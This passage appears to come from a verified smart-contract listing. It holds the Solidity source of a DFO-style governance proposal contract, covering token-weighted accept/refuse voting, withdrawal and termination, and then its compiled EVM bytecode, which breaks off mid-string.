submitable, string calldata methodSignature, string calldata returnParametersJSONArray, bool isInternal, bool needsSender, string calldata replaces) external returns(address proposalAddress); function startProposal(address proposalAddress) external; function disableProposal(address proposalAddress) external; function transfer(address receiver, uint256 value, address token) external; function transfer721(address receiver, uint256 tokenId, bytes calldata data, bool safe, address token) external; function setProposal() external; function read(string calldata codeName, bytes calldata data) external view returns(bytes memory returnData); function submit(string calldata codeName, bytes calldata data) external payable returns(bytes memory returnData); function callFromManager(address location, bytes calldata payload) external returns(bool, bytes memory); function emitFromManager(string calldata codeName, address proposal, string calldata replaced, address replacedSourceLocation, uint256 replacedSourceLocationId, address location, bool submitable, string calldata methodSignature, bool isInternal, bool needsSender, address proposalAddress) external; function emitEvent(string calldata eventSignature, bytes calldata firstIndex, bytes calldata secondIndex, bytes calldata data) external; event ProxyChanged(address indexed newAddress); event DelegateChanged(uint256 position, address indexed oldAddress, address indexed newAddress); event Proposal(address proposal); event ProposalCheck(address indexed proposal); event ProposalSet(address indexed proposal, bool success); event FunctionalitySet(string codeName, address indexed proposal, string replaced, address replacedSourceLocation, uint256 replacedSourceLocationId, address indexed replacedLocation, bool replacedWasSubmitable, string replacedMethodSignature, bool replacedWasInternal, bool replacedNeededSender, address indexed replacedProposal); event Event(string indexed key, bytes32 indexed firstIndex, bytes32 indexed secondIndex, bytes data); } contract MVDFunctionalityProposal is IMVDFunctionalityProposal{ bool private _collateralDataSet; address private _proxy; address private _token; string private _codeName; bool private _emergency; address private _sourceLocation; uint256 private _sourceLocationId; address private _location; bool private _submitable; string private _methodSignature; string private _returnAbiParametersArray; bool private _isInternal; bool private _needsSender; string private _replaces; uint256 private _surveyEndBlock; uint256 private _surveyDuration; bool private _terminated; address private _proposer; bool private _disabled; mapping(address => uint256) private _accept; mapping(address => uint256) private _refuse; uint256 private _totalAccept; uint256 private _totalRefuse; mapping(address => bool) private _withdrawed; uint256 private _votesHardCap; bool private _votesHardCapReached; constructor(string memory codeName, address location, string memory methodSignature, string memory returnAbiParametersArray, string memory replaces, address proxy) public { init(codeName, location, methodSignature, returnAbiParametersArray, replaces, proxy); } function init(string memory codeName, address location, string memory methodSignature, string memory returnAbiParametersArray, string memory replaces, address proxy) public override { require(_proxy == address(0), "Already initialized!"); _token = IMVDProxy(_proxy = proxy).getToken(); _codeName = codeName; _location = location; _methodSignature = methodSignature; _returnAbiParametersArray = returnAbiParametersArray; _replaces = replaces; } function setCollateralData(bool emergency, address sourceLocation, uint256 sourceLocationId, bool submitable, bool isInternal, bool needsSender, address proposer, uint256 votesHardCap) public override { require(!_collateralDataSet, "setCollateralData already called!"); require(_proxy == msg.sender, "Only Original Proxy can call this method!"); _sourceLocation = sourceLocation; _sourceLocationId = sourceLocationId; _submitable = submitable; _isInternal = isInternal; _needsSender = needsSender; _proposer = proposer; _surveyDuration = toUint256(IMVDProxy(_proxy).read((_emergency = emergency) ? "getMinimumBlockNumberForEmergencySurvey" : "getMinimumBlockNumberForSurvey", bytes(""))); _votesHardCap = votesHardCap; _collateralDataSet = true; } function getProxy() public override view returns(address) { return _proxy; } function getCodeName() public override view returns(string memory) { return _codeName; } function isEmergency() public override view returns(bool) { return _emergency; } function getSourceLocation() public override view returns(address) { return _sourceLocation; } function getSourceLocationId() public override view returns(uint256) { return _sourceLocationId; } function getLocation() public override view returns(address) { return _location; } function isSubmitable() public override view returns(bool) { return _submitable; } function getMethodSignature() public override view returns(string memory) { return _methodSignature; } function getReturnAbiParametersArray() public override view returns(string memory) { return _returnAbiParametersArray; } function isInternal() public override view returns(bool) { return _isInternal; } function needsSender() public override view returns(bool) { return _needsSender; } function getReplaces() public override view returns(string memory) { return _replaces; } function getProposer() public override view returns(address) { return _proposer; } function getSurveyEndBlock() public override view returns(uint256) { return _surveyEndBlock; } function getSurveyDuration() public override view returns(uint256) { return _surveyDuration; } function getVote(address addr) public override view returns(uint256 accept, uint256 refuse) { accept = _accept[addr]; refuse = _refuse[addr]; } function getVotes() public override view returns(uint256, uint256) { return (_totalAccept, _totalRefuse); } function isTerminated() public override view returns(bool) { return _terminated; } function isDisabled() public override view returns(bool) { return _disabled; } function isVotesHardCapReached() public override view returns(bool) { return _votesHardCapReached; } function getVotesHardCapToReach() public override view returns(uint256) { return _votesHardCap; } function start() public override { require(_collateralDataSet, "Still waiting for setCollateralData to be called!"); require(msg.sender == _proxy, "Only Proxy can call this function!"); require(_surveyEndBlock == 0, "Already started!"); require(!_disabled, "Already disabled!"); _surveyEndBlock = block.number + _surveyDuration; } function disable() public override { require(_collateralDataSet, "Still waiting for setCollateralData to be called!"); require(msg.sender == _proxy, "Only Proxy can call this function!"); require(_surveyEndBlock == 0, "Already started!"); _disabled = true; _terminated = true; } function toJSON() public override view returns(string memory) { return string(abi.encodePacked( '{', getFirstJSONPart(_sourceLocation, _sourceLocationId, _location), '","submitable":', _submitable ? "true" : "false", ',"emergency":', _emergency ? "true" : "false", ',"isInternal":', _isInternal ? "true" : "false", ',"needsSender":', _needsSender ? "true" : "false", ',', getSecondJSONPart(), ',"proposer":"', toString(_proposer), '","endBlock":', toString(_surveyEndBlock), ',"terminated":', _terminated ? "true" : "false", ',"accepted":', toString(_totalAccept), ',"refused":', toString(_totalRefuse), ',"disabled":', _disabled ? 'true' : 'false', '}') ); } function getSecondJSONPart() private view returns (string memory){ return string(abi.encodePacked( '"codeName":"', _codeName, '","methodSignature":"', _methodSignature, '","returnAbiParametersArray":', formatReturnAbiParametersArray(_returnAbiParametersArray), ',"replaces":"', _replaces, '"')); } modifier duringSurvey() { require(_collateralDataSet, "Still waiting for setCollateralData to be called!"); require(!_disabled, "Survey disabled!"); require(!_terminated, "Survey Terminated!"); require(!_votesHardCapReached, "Votes Hard Cap reached!"); require(_surveyEndBlock > 0, "Survey Not Started!"); require(block.number < _surveyEndBlock, "Survey ended!"); _; } modifier onSurveyEnd() { require(_collateralDataSet, "Still waiting for setCollateralData to be called!"); require(!_disabled, "Survey disabled!"); require(_surveyEndBlock > 0, "Survey Not Started!"); if(!_votesHardCapReached) { require(block.number >= _surveyEndBlock, "Survey is still running!"); } _; } function _checkVotesHardCap() private { if(_votesHardCap == 0 || (_totalAccept < _votesHardCap && _totalRefuse < _votesHardCap)) { return; } _votesHardCapReached = true; terminate(); } function accept(uint256 amount) external override duringSurvey { IERC20(_token).transferFrom(msg.sender, address(this), amount); uint256 vote = _accept[msg.sender]; vote += amount; _accept[msg.sender] = vote; _totalAccept += amount; emit Accept(msg.sender, amount); _checkVotesHardCap(); } function retireAccept(uint256 amount) external override duringSurvey { require(_accept[msg.sender] >= amount, "Insufficient funds!"); IERC20(_token).transfer(msg.sender, amount); uint256 vote = _accept[msg.sender]; vote -= amount; _accept[msg.sender] = vote; _totalAccept -= amount; emit RetireAccept(msg.sender, amount); } function moveToAccept(uint256 amount) external override duringSurvey { require(_refuse[msg.sender] >= amount, "Insufficient funds!"); uint256 vote = _refuse[msg.sender]; vote -= amount; _refuse[msg.sender] = vote; _totalRefuse -= amount; vote = _accept[msg.sender]; vote += amount; _accept[msg.sender] = vote; _totalAccept += amount; emit MoveToAccept(msg.sender, amount); _checkVotesHardCap(); } function refuse(uint256 amount) external override duringSurvey { IERC20(_token).transferFrom(msg.sender, address(this), amount); uint256 vote = _refuse[msg.sender]; vote += amount; _refuse[msg.sender] = vote; _totalRefuse += amount; emit Refuse(msg.sender, amount); _checkVotesHardCap(); } function retireRefuse(uint256 amount) external override duringSurvey { require(_refuse[msg.sender] >= amount, "Insufficient funds!"); IERC20(_token).transfer(msg.sender, amount); uint256 vote = _refuse[msg.sender]; vote -= amount; _refuse[msg.sender] = vote; _totalRefuse -= amount; emit RetireRefuse(msg.sender, amount); } function moveToRefuse(uint256 amount) external override duringSurvey { require(_accept[msg.sender] >= amount, "Insufficient funds!"); uint256 vote = _accept[msg.sender]; vote -= amount; _accept[msg.sender] = vote; _totalAccept -= amount; vote = _refuse[msg.sender]; vote += amount; _refuse[msg.sender] = vote; _totalRefuse += amount; emit MoveToRefuse(msg.sender, amount); _checkVotesHardCap(); } function retireAll() external override duringSurvey { require(_accept[msg.sender] + _refuse[msg.sender] > 0, "No votes!"); uint256 acpt = _accept[msg.sender]; uint256 rfs = _refuse[msg.sender]; IERC20(_token).transfer(msg.sender, acpt + rfs); _accept[msg.sender] = 0; _refuse[msg.sender] = 0; _totalAccept -= acpt; _totalRefuse -= rfs; emit RetireAll(msg.sender, acpt + rfs); } function withdraw() external override onSurveyEnd { if(!_terminated && !_disabled) { terminate(); return; } _withdraw(true); } function terminate() public override onSurveyEnd { require(!_terminated, "Already terminated!"); IMVDProxy(_proxy).setProposal(); _withdraw(false); } function _withdraw(bool launchError) private { require(!launchError || _accept[msg.sender] + _refuse[msg.sender] > 0, "Nothing to Withdraw!"); require(!launchError || !_withdrawed[msg.sender], "Already Withdrawed!"); if(_accept[msg.sender] + _refuse[msg.sender] > 0 && !_withdrawed[msg.sender]) { IERC20(_token).transfer(msg.sender, _accept[msg.sender] + _refuse[msg.sender]); _withdrawed[msg.sender] = true; } } function set() public override onSurveyEnd { require(msg.sender == _proxy, "Unauthorized Access!"); require(!_terminated, "Already terminated!"); _terminated = true; } function toUint256(bytes memory bs) public pure returns(uint256 x) { if(bs.length >= 32) { assembly { x := mload(add(bs, add(0x20, 0))) } } } function toString(address _addr) public pure returns(string memory) { bytes32 value = bytes32(uint256(_addr)); bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(42); str[0] = '0'; str[1] = 'x'; for (uint i = 0; i < 20; i++) { str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))]; str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))]; } return string(str); } function toString(uint _i) public pure returns(string memory) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function getFirstJSONPart(address sourceLocation, uint256 sourceLocationId, address location) public pure returns(bytes memory) { return abi.encodePacked( '"sourceLocation":"', toString(sourceLocation), '","sourceLocationId":', toString(sourceLocationId), ',"location":"', toString(location) ); } function formatReturnAbiParametersArray(string memory m) public pure returns(string memory) { bytes memory b = bytes(m); if(b.length < 2) { return "[]"; } if(b[0] != bytes1("[")) { return "[]"; } if(b[b.length - 1] != bytes1("]")) { return "[]"; } return m; } }
0x608060405234801561001057600080fd5b50600436106102535760003560e01c806366844c7e11610146578063b8e010de116100c3578063d1cc997611610087578063d1cc9976146108e9578063e9790d02146108f1578063eb3464a1146108f9578063eba3aa4214610916578063ef0e99a71461091e578063f48f489e1461093b57610253565b8063b8e010de14610825578063b9c33b261461082d578063bd37c8aa14610835578063be9a6555146108d9578063ce2ce3fc146108e157610253565b80638fc38e0b1161010a5780638fc38e0b146107cc578063933a9ce8146107d4578063a60a07b2146107f8578063aa1cc2e914610815578063b23d26521461081d57610253565b806366844c7e146107075780636900a3ae146107245780636c57f5a9146107415780638d06bc5b146107495780638d337b81146107a657610253565b80633ccfd60b116101d457806355d92ae31161019857806355d92ae31461061057806356ca623e146106185780635ad3c9311461063e5780635f9e8f82146106e257806366698389146106ea57610253565b80633ccfd60b146105d65780633e1b421d146105de5780633fa4d9ca146105e65780634398037c14610600578063485e2d9e1461060857610253565b806316375cb31161021b57806316375cb31461056b57806316e29d711461057357806319b05f491461057b5780632c394d99146105985780632f2770db146105ce57610253565b806304f181b7146102585780630c08bf88146102d55780630dc96015146102df57806314ebd7831461030057806315db404e1461054f575b600080fd5b610260610943565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029a578181015183820152602001610282565b50505050905090810190601f1680156102c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102dd6109da565b005b6102e7610bd0565b6040805192835260208301919091528051918290030190f35b6102dd600480360360c081101561031657600080fd5b810190602081018135600160201b81111561033057600080fd5b82018360208201111561034257600080fd5b803590602001918460018302840111600160201b8311171561036357600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092956001600160a01b03853516959094909350604081019250602001359050600160201b8111156103c657600080fd5b8201836020820111156103d857600080fd5b803590602001918460018302840111600160201b831117156103f957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561044b57600080fd5b82018360208201111561045d57600080fd5b803590602001918460018302840111600160201b8311171561047e57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156104d057600080fd5b8201836020820111156104e257600080fd5b803590602001918460018302840111600160201b8311171561050357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505090356001600160a01b03169150610bda9050565b610557610d50565b604080519115158252519081900360200190f35b610260610d59565b61055761144c565b6102dd6004803603602081101561059157600080fd5b5035611455565b610260600480360360608110156105ae57600080fd5b506001600160a01b038135811691602081013591604090910135166116ee565b6102dd611863565b6102dd611958565b610260611ac5565b6105ee611b26565b60408051918252519081900360200190f35b610260611b2c565b6105ee611b8a565b610557611b90565b6102606004803603602081101561062e57600080fd5b50356001600160a01b0316611ba0565b6102606004803603602081101561065457600080fd5b810190602081018135600160201b81111561066e57600080fd5b82018360208201111561068057600080fd5b803590602001918460018302840111600160201b831117156106a157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611d1e945050505050565b610557611df1565b6102dd6004803603602081101561070057600080fd5b5035611dfa565b6102dd6004803603602081101561071d57600080fd5b503561207a565b6102606004803603602081101561073a57600080fd5b50356122fa565b6105576123c9565b6102dd600480360361010081101561076057600080fd5b5080351515906001600160a01b0360208201358116916040810135916060820135151591608081013515159160a082013515159160c08101359091169060e001356123d9565b6102e7600480360360208110156107bc57600080fd5b50356001600160a01b0316612763565b6105ee61278b565b6107dc612791565b604080516001600160a01b039092168252519081900360200190f35b6102dd6004803603602081101561080e57600080fd5b50356127a5565b6105ee612a3a565b610557612a40565b6102dd612a4e565b6107dc612c3a565b6105ee6004803603602081101561084b57600080fd5b810190602081018135600160201b81111561086557600080fd5b82018360208201111561087757600080fd5b803590602001918460018302840111600160201b8311171561089857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550612c4e945050505050565b6102dd612c61565b6107dc612d95565b610557612da4565b6107dc612dad565b6102dd6004803603602081101561090f57600080fd5b5035612dc1565b6102dd6130a8565b6102dd6004803603602081101561093457600080fd5b50356133b8565b61026061369f565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109cf5780601f106109a4576101008083540402835291602001916109cf565b820191906000526020600020905b8154815290600101906020018083116109b257829003601f168201915b505050505090505b90565b60005460ff16610a1b5760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b600c54600160a81b900460ff1615610a6d576040805162461bcd60e51b815260206004820152601060248201526f5375727665792064697361626c65642160801b604482015290519081900360640190fd5b6000600a5411610ab2576040805162461bcd60e51b81526020600482015260136024820152600080516020613cf6833981519152604482015290519081900360640190fd5b60135460ff16610b0e57600a54431015610b0e576040805162461bcd60e51b8152602060048201526018602482015277537572766579206973207374696c6c2072756e6e696e672160401b604482015290519081900360640190fd5b600c5460ff1615610b5c576040805162461bcd60e51b8152602060048201526013602482015272416c7265616479207465726d696e617465642160681b604482015290519081900360640190fd5b600060019054906101000a90046001600160a01b03166001600160a01b0316632a7434a86040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610bac57600080fd5b505af1158015610bc0573d6000803e3d6000fd5b50505050610bce6000613700565b565b600f546010549091565b60005461010090046001600160a01b031615610c34576040805162461bcd60e51b8152602060048201526014602482015273416c726561647920696e697469616c697a65642160601b604482015290519081900360640190fd5b80600060016101000a8154816001600160a01b0302191690836001600160a01b0316021790556001600160a01b03166321df0da76040518163ffffffff1660e01b815260040160206040518083038186803b158015610c9257600080fd5b505afa158015610ca6573d6000803e3d6000fd5b505050506040513d6020811015610cbc57600080fd5b5051600180546001600160a01b0319166001600160a01b039092169190911790558551610cf0906002906020890190613b9a565b50600580546001600160a01b0319166001600160a01b0387161790558351610d1f906006906020870190613b9a565b508251610d33906007906020860190613b9a565b508151610d47906009906020850190613b9a565b50505050505050565b60135460ff1690565b600354600454600554606092610d81926101009091046001600160a01b0390811692166116ee565b600554600160a01b900460ff16610db5576040518060400160405280600581526020016466616c736560d81b815250610dd3565b604051806040016040528060048152602001637472756560e01b8152505b60035460ff16610e00576040518060400160405280600581526020016466616c736560d81b815250610e1e565b604051806040016040528060048152602001637472756560e01b8152505b60085460ff16610e4b576040518060400160405280600581526020016466616c736560d81b815250610e69565b604051806040016040528060048152602001637472756560e01b8152505b600854610100900460ff16610e9b576040518060400160405280600581526020016466616c736560d81b815250610eb9565b604051806040016040528060048152602001637472756560e01b8152505b610ec16138c6565b600c54610edb9061010090046001600160a01b0316611ba0565b610ee6600a546122fa565b600c5460ff16610f13576040518060400160405280600581526020016466616c736560d81b815250610f31565b604051806040016040528060048152602001637472756560e01b8152505b610f3c600f546122fa565b610f476010546122fa565b600c54600160a81b900460ff16610f7b576040518060400160405280600581526020016466616c736560d81b815250610f99565b604051806040016040528060048152602001637472756560e01b8152505b6040516020018080607b60f81b8152506001018d805190602001908083835b60208310610fd75780518252601f199092019160209182019101610fb8565b51815160209384036101000a60001901801990921691161790526e11161139bab136b4ba30b13632911d60891b919093019081528e51600f909101928f0191508083835b6020831061103a5780518252601f19909201916020918201910161101b565b51815160209384036101000a60001901801990921691161790526c161132b6b2b933b2b731bc911d60991b919093019081528d51600d909101928e0191508083835b6020831061109b5780518252601f19909201916020918201910161107c565b51815160209384036101000a60001901801990921691161790526d161134b9a4b73a32b93730b6111d60911b919093019081528c51600e909101928d0191508083835b602083106110fd5780518252601f1990920191602091820191016110de565b51815160209384036101000a60001901801990921691161790526e16113732b2b239a9b2b73232b9111d60891b919093019081528b51600f909101928c0191508083835b602083106111605780518252601f199092019160209182019101611141565b6001836020036101000a03801982511681845116808217855250505050505090500180600b60fa1b81525060010188805190602001908083835b602083106111b95780518252601f19909201916020918201910161119a565b51815160209384036101000a60001901801990921691161790526c1611383937b837b9b2b9111d1160991b919093019081528951600d909101928a0191508083835b6020831061121a5780518252601f1990920191602091820191016111fb565b51815160209384036101000a60001901801990921691161790526c11161132b732213637b1b5911d60991b919093019081528851600d90910192890191508083835b6020831061127b5780518252601f19909201916020918201910161125c565b51815160209384036101000a60001901801990921691161790526d16113a32b936b4b730ba32b2111d60911b919093019081528751600e90910192880191508083835b602083106112dd5780518252601f1990920191602091820191016112be565b51815160209384036101000a60001901801990921691161790526b161130b1b1b2b83a32b2111d60a11b919093019081528651600c90910192870191508083835b6020831061133d5780518252601f19909201916020918201910161131e565b51815160209384036101000a60001901801990921691161790526a16113932b33ab9b2b2111d60a91b919093019081528551600b90910192860191508083835b6020831061139c5780518252601f19909201916020918201910161137d565b51815160209384036101000a60001901801990921691161790526b16113234b9b0b13632b2111d60a11b919093019081528451600c90910192850191508083835b602083106113fc5780518252601f1990920191602091820191016113dd565b6001836020036101000a03801982511681845116808217855250505050505090500180607d60f81b8152506001019c50505050505050505050505050604051602081830303815290604052905090565b60085460ff1690565b60005460ff166114965760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b600c54600160a81b900460ff16156114e8576040805162461bcd60e51b815260206004820152601060248201526f5375727665792064697361626c65642160801b604482015290519081900360640190fd5b600c5460ff1615611535576040805162461bcd60e51b8152602060048201526012602482015271537572766579205465726d696e617465642160701b604482015290519081900360640190fd5b60135460ff161561157b576040805162461bcd60e51b81526020600482015260176024820152600080516020613c33833981519152604482015290519081900360640190fd5b6000600a54116115c0576040805162461bcd60e51b81526020600482015260136024820152600080516020613cf6833981519152604482015290519081900360640190fd5b600a544310611606576040805162461bcd60e51b815260206004820152600d60248201526c53757276657920656e6465642160981b604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561166057600080fd5b505af1158015611674573d6000803e3d6000fd5b505050506040513d602081101561168a57600080fd5b5050336000818152600d60209081526040918290208054850190819055600f805486019055825185815292519093927f68e07974e86f9190b39c5e1783e6ba66b3d0d7ccf507de51450f14e594d1686892908290030190a26116ea613b5b565b5050565b60606116f984611ba0565b611702846122fa565b61170b84611ba0565b6040516020018080711139b7bab931b2a637b1b0ba34b7b7111d1160711b81525060120184805190602001908083835b6020831061175a5780518252601f19909201916020918201910161173b565b51815160209384036101000a60001901801990921691161790527411161139b7bab931b2a637b1b0ba34b7b724b2111d60591b919093019081528551601590910192860191508083835b602083106117c35780518252601f1990920191602091820191016117a4565b51815160209384036101000a60001901801990921691161790526c16113637b1b0ba34b7b7111d1160991b919093019081528451600d90910192850191508083835b602083106118245780518252601f199092019160209182019101611805565b6001836020036101000a038019825116818451168082178552505050505050905001935050505060405160208183030381529060405290509392505050565b60005460ff166118a45760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b60005461010090046001600160a01b031633146118f25760405162461bcd60e51b8152600401808060200182810382526022815260200180613c7a6022913960400191505060405180910390fd5b600a541561193a576040805162461bcd60e51b815260206004820152601060248201526f416c726561647920737461727465642160801b604482015290519081900360640190fd5b600c805460ff1960ff60a81b19909116600160a81b17166001179055565b60005460ff166119995760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b600c54600160a81b900460ff16156119eb576040805162461bcd60e51b815260206004820152601060248201526f5375727665792064697361626c65642160801b604482015290519081900360640190fd5b6000600a5411611a30576040805162461bcd60e51b81526020600482015260136024820152600080516020613cf6833981519152604482015290519081900360640190fd5b60135460ff16611a8c57600a54431015611a8c576040805162461bcd60e51b8152602060048201526018602482015277537572766579206973207374696c6c2072756e6e696e672160401b604482015290519081900360640190fd5b600c5460ff16158015611aa95750600c54600160a81b900460ff16155b15611abb57611ab66109da565b610bce565b610bce6001613700565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109cf5780601f106109a4576101008083540402835291602001916109cf565b600a5490565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109cf5780601f106109a4576101008083540402835291602001916109cf565b60045490565b600554600160a01b900460ff1690565b604080518082018252601081526f181899199a1a9b1b9c1cb0b131b232b360811b60208201528151602a80825260608281019094526001600160a01b03851692918491602082018180368337019050509050600360fc1b81600081518110611c0457fe5b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110611c2d57fe5b60200101906001600160f81b031916908160001a90535060005b6014811015611d13578260048583600c0160208110611c6257fe5b1a60f81b6001600160f81b031916901c60f81c60ff1681518110611c8257fe5b602001015160f81c60f81b828260020260020181518110611c9f57fe5b60200101906001600160f81b031916908160001a905350828482600c0160208110611cc657fe5b825191901a600f16908110611cd757fe5b602001015160f81c60f81b828260020260030181518110611cf457fe5b60200101906001600160f81b031916908160001a905350600101611c47565b50925050505b919050565b606080829050600281511015611d4e5750506040805180820190915260028152615b5d60f01b6020820152611d19565b605b60f81b6001600160f81b03191681600081518110611d6a57fe5b01602001516001600160f81b03191614611d9e5750506040805180820190915260028152615b5d60f01b6020820152611d19565b8051605d60f81b9082906000198101908110611db657fe5b01602001516001600160f81b03191614611dea5750506040805180820190915260028152615b5d60f01b6020820152611d19565b5090919050565b60035460ff1690565b60005460ff16611e3b5760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b600c54600160a81b900460ff1615611e8d576040805162461bcd60e51b815260206004820152601060248201526f5375727665792064697361626c65642160801b604482015290519081900360640190fd5b600c5460ff1615611eda576040805162461bcd60e51b8152602060048201526012602482015271537572766579205465726d696e617465642160701b604482015290519081900360640190fd5b60135460ff1615611f20576040805162461bcd60e51b81526020600482015260176024820152600080516020613c33833981519152604482015290519081900360640190fd5b6000600a5411611f65576040805162461bcd60e51b81526020600482015260136024820152600080516020613cf6833981519152604482015290519081900360640190fd5b600a544310611fab576040805162461bcd60e51b815260206004820152600d60248201526c53757276657920656e6465642160981b604482015290519081900360640190fd5b336000908152600d6020526040902054811115612005576040805162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b604482015290519081900360640190fd5b336000818152600d6020908152604080832080548690039055600f80548690039055600e82529182902080548501908190556010805486019055825185815292519093927f66ac89bb1a67976b7989a763cdec43b50a592dc86bb59f48d08e26572cb1522192908290030190a26116ea613b5b565b60005460ff166120bb5760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b600c54600160a81b900460ff161561210d576040805162461bcd60e51b815260206004820152601060248201526f5375727665792064697361626c65642160801b604482015290519081900360640190fd5b600c5460ff161561215a576040805162461bcd60e51b8152602060048201526012602482015271537572766579205465726d696e617465642160701b604482015290519081900360640190fd5b60135460ff16156121a0576040805162461bcd60e51b81526020600482015260176024820152600080516020613c33833981519152604482015290519081900360640190fd5b6000600a54116121e5576040805162461bcd60e51b81526020600482015260136024820152600080516020613cf6833981519152604482015290519081900360640190fd5b600a54431061222b576040805162461bcd60e51b815260206004820152600d60248201526c53757276657920656e6465642160981b604482015290519081900360640190fd5b336000908152600e6020526040902054811115612285576040805162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b604482015290519081900360640190fd5b336000818152600e6020908152604080832080548690039055601080548690039055600d8252918290208054850190819055600f805486019055825185815292519093927f483d089c46398a02a8985779ec41436d62364736e8a9b40a10183fa12867839292908290030190a26116ea613b5b565b60608161231f57506040805180820190915260018152600360fc1b6020820152611d19565b8160005b811561233757600101600a82049150612323565b60608167ffffffffffffffff8111801561235057600080fd5b506040519080825280601f01601f19166020018201604052801561237b576020820181803683370190505b50905060001982015b8515611d1357600a860660300160f81b828280600190039350815181106123a757fe5b60200101906001600160f81b031916908160001a905350600a86049550612384565b600c54600160a81b900460ff1690565b60005460ff161561241b5760405162461bcd60e51b8152600401808060200182810382526021815260200180613d166021913960400191505060405180910390fd5b60005461010090046001600160a01b031633146124695760405162461bcd60e51b8152600401808060200182810382526029815260200180613c9c6029913960400191505060405180910390fd5b6003805460048890556005805460ff60a01b1916600160a01b891515021790556008805460ff199081168815151761ff001916610100881515810291909117909255600c8054610100600160a81b03199081166001600160a01b0389811686029190911790925560005494168c82168402179091168c1515179093556127479291041663841d0ed78a612531576040518060400160405280601e81526020017f6765744d696e696d756d426c6f636b4e756d626572466f72537572766579000081525061254b565b604051806060016040528060278152602001613c53602791395b604051806020016040528060008152506040518363ffffffff1660e01b8152600401808060200180602001838103835285818151815260200191508051906020019080838360005b838110156125ab578181015183820152602001612593565b50505050905090810190601f1680156125d85780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b8381101561260b5781810151838201526020016125f3565b50505050905090810190601f1680156126385780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038186803b15801561265757600080fd5b505afa15801561266b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561269457600080fd5b8101908080516040519392919084600160201b8211156126b357600080fd5b9083019060208201858111156126c857600080fd5b8251600160201b8111828201881017156126e157600080fd5b82525081516020918201929091019080838360005b8381101561270e5781810151838201526020016126f6565b50505050905090810190601f16801561273b5780820380516001836020036101000a031916815260200191505b50604052505050612c4e565b600b5560125550506000805460ff191660011790555050505050565b6001600160a01b03166000908152600d6020908152604080832054600e909252909120549091565b600b5490565b60005461010090046001600160a01b031690565b60005460ff166127e65760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b600c54600160a81b900460ff1615612838576040805162461bcd60e51b815260206004820152601060248201526f5375727665792064697361626c65642160801b604482015290519081900360640190fd5b600c5460ff1615612885576040805162461bcd60e51b8152602060048201526012602482015271537572766579205465726d696e617465642160701b604482015290519081900360640190fd5b60135460ff16156128cb576040805162461bcd60e51b81526020600482015260176024820152600080516020613c33833981519152604482015290519081900360640190fd5b6000600a5411612910576040805162461bcd60e51b81526020600482015260136024820152600080516020613cf6833981519152604482015290519081900360640190fd5b600a544310612956576040805162461bcd60e51b815260206004820152600d60248201526c53757276657920656e6465642160981b604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b1580156129b057600080fd5b505af11580156129c4573d6000803e3d6000fd5b505050506040513d60208110156129da57600080fd5b5050336000818152600e602090815260409182902080548501908190556010805486019055825185815292519093927f4e855894dd91aeb0192726b247db8c42f6d1275c4094286dfeadd2005971a1b492908290030190a26116ea613b5b565b60125490565b600854610100900460ff1690565b60005460ff16612a8f5760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b600c54600160a81b900460ff1615612ae1576040805162461bcd60e51b815260206004820152601060248201526f5375727665792064697361626c65642160801b604482015290519081900360640190fd5b6000600a5411612b26576040805162461bcd60e51b81526020600482015260136024820152600080516020613cf6833981519152604482015290519081900360640190fd5b60135460ff16612b8257600a54431015612b82576040805162461bcd60e51b8152602060048201526018602482015277537572766579206973207374696c6c2072756e6e696e672160401b604482015290519081900360640190fd5b60005461010090046001600160a01b03163314612bdd576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a6564204163636573732160601b604482015290519081900360640190fd5b600c5460ff1615612c2b576040805162461bcd60e51b8152602060048201526013602482015272416c7265616479207465726d696e617465642160681b604482015290519081900360640190fd5b600c805460ff19166001179055565b60035461010090046001600160a01b031690565b60006020825110611d1957506020015190565b60005460ff16612ca25760405162461bcd60e51b8152600401808060200182810382526031815260200180613cc56031913960400191505060405180910390fd5b60005461010090046001600160a01b